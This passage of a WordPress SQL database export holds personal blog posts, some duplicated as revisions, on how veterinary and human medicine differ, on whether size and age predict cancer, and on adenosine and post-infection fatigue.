maximizing efficacy for any condition. Only specialists (and frequently specialists in an exact condition) usually feel comfortable going “off-script”. Specialists feel comfortable to be creative because they’ve often gotten their knowledge directly from high-quality studies, although personal experience, folklore, and word-of-mouth still play large roles in how they think.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This ends up determining how drug manufacturers like my company market to these respective fields. If I want to market to doctors, I’m best served by having high-profile researchers in that specific indication and high profile studies. Ideally, I’d also get a change to the treatment protocols, too. If I want to market to vets, I’m best served by having well-known speakers (who don’t necessarily specialize in that indication) and well-run (not high-profile)&nbsp; studies. Both efforts are supported by robust traditional sales and marketing, of course, especially the ubiquitous “lunch-and-learn”, in which you bribe people with lunch in exchange for letting you pitch them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There\'s something sad about what American physicians have become. Many of the young physicians I’ve talked to are so terrified by the prospect of a malpractice suit and already burnt out by dealing with insurance and electronic medical records. They practice medicine by following treatment algorithms and are barely aware of how much various treatments cost, even though their patients can be devastated by an unexpected cost. The country doc mentality exemplified by my mom, grandfather, and the vets of today has disappeared.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, if you want a real sign of the times, the last time I visited my mom, she told me that it was probably for the best that neither me or my brothers became doctors. For a Jewish woman (and a doctor herself, no less) to tell her son that she’s glad he’s not a doctor? You know things are real bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Insurance costs for doctors are crazy compared to vets, especially malpractice insurance. The malpractice insurance of an average veterinary practice is&nbsp;<a href=\"https://fitsmallbusiness.com/veterinarian-insurance/\">$350 a year</a>. The malpractice insurance of a family doctor is $13,000 a year, while&nbsp;<a href=\"https://medpli.com/2021-massachusetts-doctors-buying-guide-to-medical-malpractice-insurance/\">an obstetrician’s insurance can cost $71,000 a year</a>. You have to pay this before you see patients. So, doctors often have to work for hospitals just so the hospitals will pay their malpractice insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] The biggest contributors to these are the twin demons of prior authorization and electronic medical records. Prior authorization is when health insurance companies require doctors to ask for permission to perform specific services for specific patients. This is incredibly time consuming (<a href=\"https://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-reporthttps://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-report\">14.4 hours per&nbsp;</a><strong><a href=\"https://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-reporthttps://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-report\">week</a></strong>&nbsp;as of 2020) and also demoralizing for the physicians, as the ultimate decision on how to treat a patient is often not made by the highly-trained physician or the patient in need, but instead by a 25 year old making 40k/year reading off a script over the phone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Electronic medical records, by contrast, are what they sound like. However, like any software built to spec (rather than for the end user), they are horrendous to use. Doctors&nbsp;<a href=\"https://www.forbes.com/sites/brucelee/2020/01/13/electronic-health-records-here-is-how-much-time-doctors-are-spending-with-them/?sh=ff8df055172a\">spend roughly as much time on their electronic medical records as they do on seeing their patient</a>. The two of these are additive, so, assuming a 40 hour work week, doctors are left with only about 1.5 days per week to actually practice medicine.</p>\n<!-- /wp:paragraph -->','Vets today are like doctors yesterday (and doctors today are miserable)','','publish','closed','closed','','vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable','','','2022-08-16 15:24:38','2022-08-16 15:24:38','',0,'https://trevorklee.com/?page_id=299',0,'page','',0),
(300,1,'2022-08-16 15:24:38','2022-08-16 15:24:38','<!-- wp:paragraph -->\n<p>My grandfather was a psychiatrist from the 50s through the 90s. My mom was a pediatrician, then a dermatologist from the 80s through the 2010s. Between the two of them, I’ve gotten a good sense of the way medicine has shifted through the last 70 years or so: the rise of the FDA, the growth of modern pharmaceuticals, the domination of the “fee-for-service” model, the increasing influence of the insurance companies, and, more recently, the pernicious influence of electronic medical records.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the things I noticed talking to my grandfather while he was still alive and my mom now is the way in which their medical thinking was influenced by the structure of the medical establishment while they were being trained. My grandfather, trained in an era before strong FDA regulation of medications, was mostly distrustful of medications. He much preferred talk therapy and psychoanalysis, seeing medications as a last resort when those failed. He was very conversant in the studies themselves, though, constantly reading journals to see the latest advances in pharmaceuticals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0ddcdb28-65cc-4b0e-9e39-fa64ad8b012b_2736x1440.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0ddcdb28-65cc-4b0e-9e39-fa64ad8b012b_2736x1440.png\" alt=\"\"/></a><figcaption>What my grandfather is now remembered for.&nbsp;<a href=\"https://www.chicagotribune.com/news/obituaries/la-me-gerald-klee-20130309-story.html\">Link</a>&nbsp;if you’re curious. He was an interesting, weird guy.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, my mom was trained in an era before prior authorizations and the fear of malpractice suits were quite so pervasive. So my mom has always been very comfortable prescribing a variety of medications both on and off-label depending on her patients’ needs. She felt confident in her ability to help her patients navigate side effects when or if they experienced them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also worth noting that both my grandfather and mom were small business owners, through and through. They had employees, a reputation in their community, mostly straightforward commercial relationships with their patients (including, occasionally, barter), and their own unique ways of both practicing and administering their practice based on what they thought was necessary.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These stories likely seem unexceptional to you. And they’d be unexceptional to the doctors of my grandfather and mom’s time as well. They’re also not particularly exceptional to the veterinarians of their time, or, indeed, of this time. However, they are exceptional to the American doctors of this year 2022. And that, to me, is interesting: in many ways, vets in 2022 are more similar to doctors of the 80s than doctors in 2022 are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In many ways, veterinarians in the year 2022 are much like my mom used to be. By and large, they own small practices. The amount of regulation on their work is relatively limited, so most of how they practice and administer their practice is based on what they think is necessary. Their relationships with their patients are, for the most part, straightforwardly commercial: they perform services and sell products for fees, with only a limited amount of interaction with pet insurance. They see themselves in that way, too. A good veterinarian will tell their patient, “Here are a few options for your pet’s health issue. Here are the benefits, drawbacks, and costs associated with these options. I’ll let you make the decision.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6ee443c9-a8ad-48b8-97a0-a5d41331cf37_500x372.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6ee443c9-a8ad-48b8-97a0-a5d41331cf37_500x372.jpeg\" alt=\"yellow labrador retriever puppies images | Dogs hugging, Cute animals,  Animals friendship\" title=\"yellow labrador retriever puppies images | Dogs hugging, Cute animals,  Animals friendship\"/></a><figcaption>I assume they also make this exact joke 12 times per day.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, in some ways, they’re even like my grandfather used to be. Many of the conditions that vets see don’t have specific drugs associated with them (or even high quality studies), so vets often have to get creative. It’s very common for them to repurpose human drugs or use compounding pharmacies to treat their patients. Specializing in a subset of veterinary medicine (like canine neurology) is still rare, and specializing in a condition is basically unheard of. Pretty much every vet has to be comfortable treating every condition in whatever species they treat. There aren’t really experts in conditions in the same way there are in human medicine, so folklore and word-of-mouth is very important for spreading knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>American doctors in 2022, by contrast, are not at all like my mom used to be. By and large, they belong to large practices or hospitals. They face an enormous amount of regulation on how they practice, what insurance and licenses they need [1], and how they keep records. These regulations add a significant amount of time, expense, and complexity to how they work [2]. Their commercial relationships with patients are anything but straightforward. The commercial relationship ends up being between the doctor or hospital’s billing specialist and the patient’s insurance company, with both the doctor and the patient having no idea what the end result will be. Very few American doctors even consider cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They do, however, get very concerned about adverse effects. One of the positive developments in medicine over the past few decades has been the explosion of treatment regimens and drugs for highly specific conditions, which has really improved the well-being of patients in a number of conditions. But, a negative result of this is that doctors are way, way more comfortable following treatment algorithms for a condition rather than being creative. If they’re forced to be creative, they’d rather focus on minimizing side effects rather than maximizing efficacy for any condition. Only specialists (and frequently specialists in an exact condition) usually feel comfortable going “off-script”. Specialists feel comfortable to be creative because they’ve often gotten their knowledge directly from high-quality studies, although personal experience, folklore, and word-of-mouth still play large roles in how they think.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This ends up determining how drug manufacturers like my company market to these respective fields. If I want to market to doctors, I’m best served by having high-profile researchers in that specific indication and high profile studies. Ideally, I’d also get a change to the treatment protocols, too. If I want to market to vets, I’m best served by having well-known speakers (who don’t necessarily specialize in that indication) and well-run (not high-profile)&nbsp; studies. Both efforts are supported by robust traditional sales and marketing, of course, especially the ubiquitous “lunch-and-learn”, in which you bribe people with lunch in exchange for letting you pitch them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There\'s something sad about what American physicians have become. Many of the young physicians I’ve talked to are so terrified by the prospect of a malpractice suit and already burnt out by dealing with insurance and electronic medical records. They practice medicine by following treatment algorithms and are barely aware of how much various treatments cost, even though their patients can be devastated by an unexpected cost. The country doc mentality exemplified by my mom, grandfather, and the vets of today has disappeared.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, if you want a real sign of the times, the last time I visited my mom, she told me that it was probably for the best that neither me or my brothers became doctors. For a Jewish woman (and a doctor herself, no less) to tell her son that she’s glad he’s not a doctor? You know things are real bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Insurance costs for doctors are crazy compared to vets, especially malpractice insurance. The malpractice insurance of an average veterinary practice is&nbsp;<a href=\"https://fitsmallbusiness.com/veterinarian-insurance/\">$350 a year</a>. The malpractice insurance of a family doctor is $13,000 a year, while&nbsp;<a href=\"https://medpli.com/2021-massachusetts-doctors-buying-guide-to-medical-malpractice-insurance/\">an obstetrician’s insurance can cost $71,000 a year</a>. You have to pay this before you see patients. So, doctors often have to work for hospitals just so the hospitals will pay their malpractice insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] The biggest contributors to these are the twin demons of prior authorization and electronic medical records. Prior authorization is when health insurance companies require doctors to ask for permission to perform specific services for specific patients. This is incredibly time consuming (<a href=\"https://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-reporthttps://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-report\">14.4 hours per&nbsp;</a><strong><a href=\"https://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-reporthttps://revcycleintelligence.com/news/prior-authorization-burden-continues-to-rise-physicians-report\">week</a></strong>&nbsp;as of 2020) and also demoralizing for the physicians, as the ultimate decision on how to treat a patient is often not made by the highly-trained physician or the patient in need, but instead by a 25 year old making 40k/year reading off a script over the phone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Electronic medical records, by contrast, are what they sound like. However, like any software built to spec (rather than for the end user), they are horrendous to use. Doctors&nbsp;<a href=\"https://www.forbes.com/sites/brucelee/2020/01/13/electronic-health-records-here-is-how-much-time-doctors-are-spending-with-them/?sh=ff8df055172a\">spend roughly as much time on their electronic medical records as they do on seeing their patient</a>. The two of these are additive, so, assuming a 40 hour work week, doctors are left with only about 1.5 days per week to actually practice medicine.</p>\n<!-- /wp:paragraph -->','Vets today are like doctors yesterday (and doctors today are miserable)','','inherit','closed','closed','','299-revision-v1','','','2022-08-16 15:24:38','2022-08-16 15:24:38','',299,'https://trevorklee.com/?p=300',0,'revision','',0),
(301,1,'2022-08-16 15:25:28','2022-08-16 15:25:28','<!-- wp:paragraph -->\n<p>I don’t like the traditional explanation for why we don’t all get cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I understand it. The traditional explanation is that there’s a variety of checks in our DNA to prevent cancer from happening, as well as a robust immune response when it does happen. Anyone who gets cancer had to have cells that bypassed the checks, evaded the immune system, and overcame the metalevel control of DNA that doesn’t allow cells to bypass checks in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t like this explanation because it doesn’t adequately explain, to me, why both older individuals and bigger individuals are more likely to get cancer than younger or smaller individuals within a species, but not across species [1]. Why is a 70 year old human more likely to get cancer this year than a 10 year old human, but a 10 year old human is less likely to get cancer than a 3 year old mouse? Why is a 7 foot human more likely to get cancer than a 6 foot human, but a 6 foot human is more likely to get cancer than a 10 foot elephant?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to explain these facts, we end up having to add fiddly little details to our explanations, trying to discuss how aging makes DNA replication more error prone and thus more likely to have the sort of mutations that allows cells to bypass checks, but that clock ticks faster in mice than in humans. Or we have to talk about species specific cancer adaptations, and say some of them are more effective than others, but then all else being equal, size makes cancer worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To me, it smacks of epicycles: little features we have to add to models to incorporate all the facts we know, until our beautiful, concise model becomes a bloated mess. It seems…sloppy. I wonder if there will be a Newtonian model of cancer to come along to replace our Ptolemaic one, and show us exactly where we’re going wrong [2].&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] It’s difficult to get these numbers for all species, but we can at least say</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<a href=\"https://www.cancer.gov/about-cancer/causes-prevention/risk/age\">Older humans are more likely to get cancer in a given year than younger humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b)&nbsp;<a href=\"https://www.nature.com/articles/s41416-018-0370-9\">Taller humans are more likely to get cancer than shorter humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c)&nbsp;<a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/rda.12103\">Bigger dogs are more likely to get cancer than smaller dogs</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d)&nbsp;<a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1939-1676.2008.0133.x\">Older dogs are more likely to get cancer than younger dogs.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4858328/#:~:text=Despite%20their%20large%20body%20size,%25%20to%2025%CAncer%20mortality.\">There’s no relation between animal size or lifespan and relative risk of cancer.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b)&nbsp;<a href=\"https://academic.oup.com/mbe/article/36/8/1746/5485251?login=true\">Whales</a>&nbsp;and&nbsp;<a href=\"https://jamanetwork.com/journals/jama/article-abstract/2456041\">elephants</a>&nbsp;don’t get cancer very often, but are big and live a long time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c)&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1177/0748233710386410\">Mice do get cancer relatively frequently</a>, but are small and live a short time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] Hopefully this will also incorporate the weird relationship between animal size and lifespan, namely that bigger animals tend to live longer when comparing across species, but live a shorter amount of time when comparing within species. I wrote&nbsp;<a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\">a whole blog post</a>&nbsp;about this paradox, in which I suggested that the answer was the immune system. That might be an answer here, too.</p>\n<!-- /wp:paragraph -->','Are being big and old risk factors for cancer or not?￼','','publish','closed','closed','','are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc','','','2022-08-16 15:25:28','2022-08-16 15:25:28','',0,'https://trevorklee.com/?page_id=301',0,'page','',0),
(302,1,'2022-08-16 15:25:28','2022-08-16 15:25:28','<!-- wp:paragraph -->\n<p>I don’t like the traditional explanation for why we don’t all get cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I understand it. The traditional explanation is that there’s a variety of checks in our DNA to prevent cancer from happening, as well as a robust immune response when it does happen. Anyone who gets cancer had to have cells that bypassed the checks, evaded the immune system, and overcame the metalevel control of DNA that doesn’t allow cells to bypass checks in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t like this explanation because it doesn’t adequately explain, to me, why both older individuals and bigger individuals are more likely to get cancer than younger or smaller individuals within a species, but not across species [1]. Why is a 70 year old human more likely to get cancer this year than a 10 year old human, but a 10 year old human is less likely to get cancer than a 3 year old mouse? Why is a 7 foot human more likely to get cancer than a 6 foot human, but a 6 foot human is more likely to get cancer than a 10 foot elephant?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to explain these facts, we end up having to add fiddly little details to our explanations, trying to discuss how aging makes DNA replication more error prone and thus more likely to have the sort of mutations that allows cells to bypass checks, but that clock ticks faster in mice than in humans. Or we have to talk about species specific cancer adaptations, and say some of them are more effective than others, but then all else being equal, size makes cancer worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To me, it smacks of epicycles: little features we have to add to models to incorporate all the facts we know, until our beautiful, concise model becomes a bloated mess. It seems…sloppy. I wonder if there will be a Newtonian model of cancer to come along to replace our Ptolemaic one, and show us exactly where we’re going wrong [2].&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] It’s difficult to get these numbers for all species, but we can at least say</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<a href=\"https://www.cancer.gov/about-cancer/causes-prevention/risk/age\">Older humans are more likely to get cancer in a given year than younger humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b)&nbsp;<a href=\"https://www.nature.com/articles/s41416-018-0370-9\">Taller humans are more likely to get cancer than shorter humans</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c)&nbsp;<a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/rda.12103\">Bigger dogs are more likely to get cancer than smaller dogs</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d)&nbsp;<a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1939-1676.2008.0133.x\">Older dogs are more likely to get cancer than younger dogs.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4858328/#:~:text=Despite%20their%20large%20body%20size,%25%20to%2025%CAncer%20mortality.\">There’s no relation between animal size or lifespan and relative risk of cancer.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b)&nbsp;<a href=\"https://academic.oup.com/mbe/article/36/8/1746/5485251?login=true\">Whales</a>&nbsp;and&nbsp;<a href=\"https://jamanetwork.com/journals/jama/article-abstract/2456041\">elephants</a>&nbsp;don’t get cancer very often, but are big and live a long time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c)&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1177/0748233710386410\">Mice do get cancer relatively frequently</a>, but are small and live a short time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] Hopefully this will also incorporate the weird relationship between animal size and lifespan, namely that bigger animals tend to live longer when comparing across species, but live a shorter amount of time when comparing within species. I wrote&nbsp;<a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\">a whole blog post</a>&nbsp;about this paradox, in which I suggested that the answer was the immune system. That might be an answer here, too.</p>\n<!-- /wp:paragraph -->','Are being big and old risk factors for cancer or not?￼','','inherit','closed','closed','','301-revision-v1','','','2022-08-16 15:25:28','2022-08-16 15:25:28','',301,'https://trevorklee.com/?p=302',0,'revision','',0),
(303,1,'2022-08-16 15:27:18','2022-08-16 15:27:18','<!-- wp:paragraph -->\n<p>When I was 16, a summer camp I was at was shut down due to a swine flu outbreak. The spread happened rapidly, in the way that highly contagious airborne viruses do. First, one confirmed case. They got sent to the nurse’s office then sent home. The next day, a couple more. Nurse’s office, home. Then a few more to the nurse’s office, and a few more (nurse’s office), until there wasn’t room in the nurse’s office anymore. At that point the camp officials realized they had an outbreak on their hands.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On our final day of camp, they called all our parents to pick us up. They had given up on testing us, and just sort of let us be. We were aware at the time that we all probably had swine flu, and that we were going to spread it to our hometowns when our parents picked us up, but nobody had a better idea of what to do. The idea of quarantine wasn’t really a thing yet. I got picked up by my uncle because my parents were on vacation, so I got to spread it to his family and hometown instead. Sorry, Strasbourg.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F42eeeabe-296a-4aa7-bb05-8f0b24b3ded1_1600x1017.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F42eeeabe-296a-4aa7-bb05-8f0b24b3ded1_1600x1017.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The thing I remember most about my last day at camp (besides a brief romantic interlude with a girl I was sweet on) was how absolutely fatigued I was. I didn’t feel sick, exactly: I didn’t have a fever, sore throat, or anything like that. I just couldn’t keep my eyes open for longer than an hour at a time. This lasted for about a day or two, and then I recovered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I thought of this a couple weeks ago, when I caught COVID for the third time (presumably the Omicron BA.5 variant). As I had with swine flu, I spent an entire day sleeping on my first day of symptoms. The days following I slept less and less, until finally I got back to my normal sleep schedule of 8-9 hours at night, and a 30 minute nap in the middle of the day [1].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts on an every-once-in-a-while basis, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seemed strange to me that both swine flu and COVID would make me sleep so much. It also seemed strange that I could sleep so much: I’d sleep for 10 hours, do 30 minutes of work, and then be so tired that I’d sleep for another hour on my couch. Whatever made me not need to sleep after getting a lot of sleep normally wasn’t really functioning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I started to look into the scientific details, though, I found myself getting stymied. There was no good mechanical/pathophysiological explanation for the fatigue caused by infectious diseases. In fact, there were few good explanations of the sleep patterns in normal people, either [2]. So, I decided to piece together what I could in this post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What models there are focus around&nbsp;<a href=\"https://en.wikipedia.org/wiki/Adenosine\">adenosine</a>. Now, adenosine is a complicated molecule. It’s one of the building blocks of RNA, the main carrier of energy in the body (in the form of adenosine triphosphate, or ATP), and a big signaling molecule (in the form of cyclic adenosine monophosphate, or cAMP). It does a lot, so it might seem strange to focus on adenosine and sleep, specifically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why people have focused so much on adenosine as it relates to sleep, however, is that&nbsp;<a href=\"https://en.wikipedia.org/wiki/Caffeine#Pharmacodynamics\">caffeine blocks adenosine receptors in the brain</a>, which seems to be the cause of its effects on wakefulness. Now, this isn’t the only way to look at sleep, given that lots of things cause wakefulness and don’t have any obvious impact on adenosine, like amphetamine. However, this is a consistent way to cause wakefulness, and the relationship between blocking adenosine receptors and preventing sleep does seem to be pretty robust.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F09431108-2b88-47a8-869b-d3779f6278de_1200x800.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F09431108-2b88-47a8-869b-d3779f6278de_1200x800.jpeg\" alt=\"Apple will let Amphetamine app stay in the App Store after wrongly telling  developer it violated App Store rules - The Verge\" title=\"Apple will let Amphetamine app stay in the App Store after wrongly telling  developer it violated App Store rules - The Verge\"/></a><figcaption>My source for the above claim is the App Store.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, once we do start to look at this relationship, we quickly run into some paradoxes. First,&nbsp;<a href=\"https://www.rxlist.com/consumer_adenosine_adenoscan/drugs-condition.htm#what_are_side_effects_associated_with_using_adenosine\">administration of adenosine itself doesn’t seem to cause sleepiness</a>, although this may just be an issue of administration to the body not causing a rise in concentration in the brain. More importantly, however, high levels of adenosine deaminase, which breaks down adenosine and which we see in diseases like infectious mononucleosis,&nbsp;<a href=\"https://link.springer.com/article/10.1186/s12879-022-07150-7\">does cause fatigue</a>. That’s the opposite of what we’d expect: if blocking adenosine from reaching its receptors causes wakefulness, destroying adenosine before it reaches its receptors should do the same thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in order to make sense of this relationship, it’s probably useful to start making some distinctions. Specifically, we need to make a distinction between tiredness and fatigue, which I’ve already started using above. Tiredness is what you feel at 1 am in the morning. Fatigue is what you feel after a long run. There’s a definite overlap, given that both can make you sleep. But I think we can all agree they’re not the same thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This then allows us to look back at caffeine and adenosine. Caffeine mostly has an effect on tiredness. Drinking a bunch of espresso at 1 am will allow you to pull an all-nighter, but drinking a bunch of espresso halfway through a marathon will not allow you to finish the marathon [3]. Adenosine, as a purely signaling molecule, also mostly has an effect on tiredness. However, adenosine in the body is produced by the breakdown of ATP, and so destroying adenosine can have an effect on the ATP balance as well. Depletion of ATP, the energy carrier, can lead to fatigue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Keeping all that in mind, we can now examine why exactly swine flu and COVID can make us so tired. It has to do with the immune system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The immune system is a rapid-response system. Let’s say you get a puncture wound in your hand, introducing a bunch of bacteria into your bloodstream. Your immune system will react incredibly quickly to that, sending a bunch of resources to staunch the bleeding and fight off the invaders. All of that requires energy and signaling, which means all of that requires adenosine triphosphate, or ATP. And, in fact, that works in the reverse, too. ATP also serves as a signal to recruit inflammatory molecules.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if ATP is both recruited by and can recruit inflammatory molecules, then that’s a positively-reinforcing cycle. Cool, but how does it end? Well, that’s where adenosine comes in. Solo adenosine serves as an anti-inflammatory, going against the effects of the ATP cycle. Given that solo adenosine is produced by breaking down ATP, we can see how this control system might work. If you need to ramp up the inflammatory response, the balance of ATP and adenosine needs to shift in favor of ATP. If you need to tamp down the inflammatory response, the balance needs to shift in favor of adenosine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we have a continuous infection like infectious mononucleosis, something that can remain latent in B cells throughout an individual’s lifetime, it would make sense that we’d have a sustained, systemic immune response. This means we need to shift in favor of ATP by ramping up our levels of adenosine deaminase, which, as we mentioned, breaks down adenosine in the body. Pretty neat, huh?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We can go further, though.Infectious mononucleosis is caused by the Epstein-Barr virus (EBV). And, as we’ve covered before,&nbsp;<a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\">infection with EBV causes almost all cases of multiple sclerosis</a>.</p>\n<!-- 